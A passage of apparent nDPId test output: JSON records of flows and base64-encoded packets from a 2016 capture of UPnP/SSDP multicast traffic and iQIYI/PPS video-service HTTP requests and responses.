+01046{"flow_id":93,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1425,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":606497,"pkt_caplen":530,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":530,"pkt_l4_len":496,"pkt":"ABxCjnAxTF4M6gNlCABFAAIEVHpAADgGb5rfGmoUwKhzCABQxk+e+YAenpIEjFAYACVr7AAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTM0DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjQ2IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45OA0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4yMA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW21hczM2MHNjb3JlXQ0Kdj0xDQpwPTANCmU9sbG+qS\/Jz7qjL7nj1t0vye7b2g0Kcz29rcvVL9Xjva0vyb22qy+608TPDQphcHA9ZmlkZGxlcix3aXJlc2hhcmssSHR0cFdhdGNoLEh0dHBXYXRjaCBTdHVkaW8sSHR0cEFuYWx5emVyDQo="} +01043{"flow_id":95,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":608484,"pkt_caplen":526,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":526,"pkt_l4_len":492,"pkt":"ABxCjnAxTF4M6gNlCABFAAIApFFAADgGH8jfGmoTwKhzCABQxlCbtI4lBJ7pcFAYAB996wAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTMwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjE3OjQzIEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45Nw0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4xOQ0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW21hc2Jsb2ddDQp2PTENCnA9MQ0KZT2xsb6pL8nPuqMvuePW3S\/J7tvaDQpzPb2ty9Uv1eO9rS\/JvbarL7rTxM8NCmFwcD1maWRkbGVyLHdpcmVzaGFyayxIdHRwV2F0Y2gsSHR0cFdhdGNoIFN0dWRpbyxIdHRwQW5hbHl6ZXINCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1427,"source":"pps.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1467353191688,"flow_last_seen":0,"flow_tot_l4_data_len":570,"flow_min_l4_data_len":570,"flow_max_l4_data_len":570,"flow_avg_l4_data_len":570,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50769,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01148{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":688041,"pkt_caplen":604,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":604,"pkt_l4_len":570,"pkt":"TF4M6gNlABxCjnAxCABFAAJOL\/RAAIAGZxbAqHMIZePIC8ZRAFCkQ4vBOJoXClAY\/\/Dn4QAAR0VUIC9jY3MgSFRUUC8xLjENClVzZXItQWdlbnQ6IENvb2tpZUNsZWFyX3J1bnh4DQpIb3N0OiBhcGkuY3VwaWQuaXFpeWkuY29tDQpDb29raWU6IHBwc19jbGllbnRfdmVyMj01LjIuMTUuMjI0MDsgVDAwNDA0PTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4OyBfcHBzX2l2aT1WazQ5TVRZd05UQTFMYVcvcFBtaFJ6OC9QNlRhcEVlbXVEOC9wTSt3Wmo4dHBMV3gzemd3cGxvL3BHYW9jU1pXVUQweEpsWkRQVDgvUHo4K3BMV3gzemd3cGxvL3BHYW9jU1pXU2owdE1TWldVejFXSmxaRVBTWldWRnRCWFQweU1UYzFKbFpOUFNaV1ZqMDFMakl1TVRVdU1qSTBNQ1pXVlQxb2RIUndPaTh2ZDNkM0xtbHhhWGxwTG1OdmJTOTJYekU1Y25Kc2RuVjRiR2N1YUhSdGJBPT07IFFDMDA2PXU1NDl2cHoxMGw5ZmthdHVtNGFsdzRicDsgUUMwMDg9MTQ2NjY0NTgxNi4xNDY2NjQ1ODE2LjE0NjY2NDU4MTYuMTsgSG1fbHZ0XzUzYjczNzRhNjNjMzc0ODNlNWRkOTdkNzhkOWJiMzZlPTE0NjY2NDU4MTc7IFFDMDA1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQoNCg=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1427,"source":"pps.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1467353191688,"flow_last_seen":0,"flow_tot_l4_data_len":570,"flow_min_l4_data_len":570,"flow_max_l4_data_len":570,"flow_avg_l4_data_len":570,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50769,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"api.cupid.iqiyi.com","url":"api.cupid.iqiyi.com\/ccs","code":0,"content_type":"","user_agent":"CookieClear_runxx"}} +00725{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":722567,"pkt_caplen":291,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":291,"pkt_l4_len":257,"pkt":"ABxCjnAxTF4M6gNlCABFAAEVyyVAAC8GHh5l48gLwKhzCABQxlE4mhcKpEON51AYPCgsNwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjMxIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2pzb247IGNoYXJzZXQ9dXRmLTgNCkNvbnRlbnQtTGVuZ3RoOiAxMQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctQ3JlZGVudGlhbHM6IHRydWUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCnsiciI6ZmFsc2V9"} +00975{"flow_id":84,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":785509,"pkt_caplen":473,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":473,"pkt_l4_len":439,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHLI6wAAAER3q3AqAUm7\/\/\/+gdsB2wBt3SETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVwbnA6cm9vdGRldmljZQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xOTIuMTY4LjUuMzg6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNA0KVVNOOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0Ojp1cG5wOnJvb3RkZXZpY2UNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00578{"flow_id":85,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":820786,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChDkwAAAER9TTAqAUp7\/\/\/+sTGB2wAjdbrTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00986{"flow_id":84,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":832497,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHUI60AAAER3qPAqAUm7\/\/\/+gdsB2wBwIVJTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00582{"flow_id":78,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":836331,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNUwAAAQRyyfAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +01043{"flow_id":84,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":912922,"pkt_caplen":525,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":525,"pkt_l4_len":491,"pkt":"AQBef\/\/6cBiLE+IdCABFAAH\/I64AAAER3nfAqAUm7\/\/\/+gdsB2wB6x3GTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MvNi4yIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6MDAyODViYzNjM2JhMjA3MDA3ZTFjM2I3NjIxYzg0NzYNCg0K"} +01064{"flow_id":84,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1434,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353192,"pkt_ts_usec":996524,"pkt_caplen":539,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":539,"pkt_l4_len":505,"pkt":"AQBef\/\/6cBiLE+IdCABFAAINI68AAAER3mjAqAUm7\/\/\/+gdsB2wB+UWSTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xOTIuMTY4LjUuMzg6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNA0KVVNOOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0Ojp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +01058{"flow_id":84,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1435,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353193,"pkt_ts_usec":62487,"pkt_caplen":537,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":537,"pkt_l4_len":503,"pkt":"AQBef\/\/6cBiLE+IdCABFAAILI7AAAAER3mnAqAUm7\/\/\/+gdsB2wB92DxTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MvNi4yIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6MDAyODViYzNjM2JhMjA3MDA3ZTFjM2I3NjIxYzg0NzYNCg0K"} +01083{"flow_id":84,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1436,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353193,"pkt_ts_usec":132336,"pkt_caplen":553,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":553,"pkt_l4_len":519,"pkt":"AQBef\/\/6cBiLE+IdCABFAAIbI7EAAAER3ljAqAUm7\/\/\/+gdsB2wCB3XmTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjptaWNyb3NvZnQuY29tOnNlcnZpY2U6WF9NU19NZWRpYVJlY2VpdmVyUmVnaXN0cmFyOjENCk5UUzpzc2RwOmFsaXZlDQpMb2NhdGlvbjpodHRwOi8vMTkyLjE2OC41LjM4OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQNClVTTjp1dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNDo6dXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLzYuMiBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOjAwMjg1YmMzYzNiYTIwNzAwN2UxYzNiNzYyMWM4NDc2DQoNCg=="} +00578{"flow_id":89,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1437,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353193,"pkt_ts_usec":179486,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6jHNut5ODCABFAAChAo0AAAERAQHAqAUc7\/\/\/+up3B2wAjbFHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00577{"flow_id":76,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1438,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353194,"pkt_ts_usec":56832,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI7IAAAER39HAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00976{"flow_id":84,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1439,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":786528,"pkt_caplen":473,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":473,"pkt_l4_len":439,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHLI7MAAAER3qbAqAUm7\/\/\/+gdsB2wBt3SETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVwbnA6cm9vdGRldmljZQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xOTIuMTY4LjUuMzg6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNA0KVVNOOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0Ojp1cG5wOnJvb3RkZXZpY2UNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00578{"flow_id":85,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1440,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":822852,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChDk8AAAER9THAqAUp7\/\/\/+sTGB2wAjdbrTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00987{"flow_id":84,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":833413,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHUI7QAAAER3pzAqAUm7\/\/\/+gdsB2wBwIVJTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00582{"flow_id":78,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":837489,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNU0AAAQRyybAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1443,"source":"pps.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1467353195852,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50771,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01601{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1443,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353195,"pkt_ts_usec":852766,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkMjBAAIAGuBrAqHMIymwO7MZTAFDqT5aSVlCsgFAYQTeESwAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxOTUwNTQmc2g9JnNxPSZzdz0mdD1zcCZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjU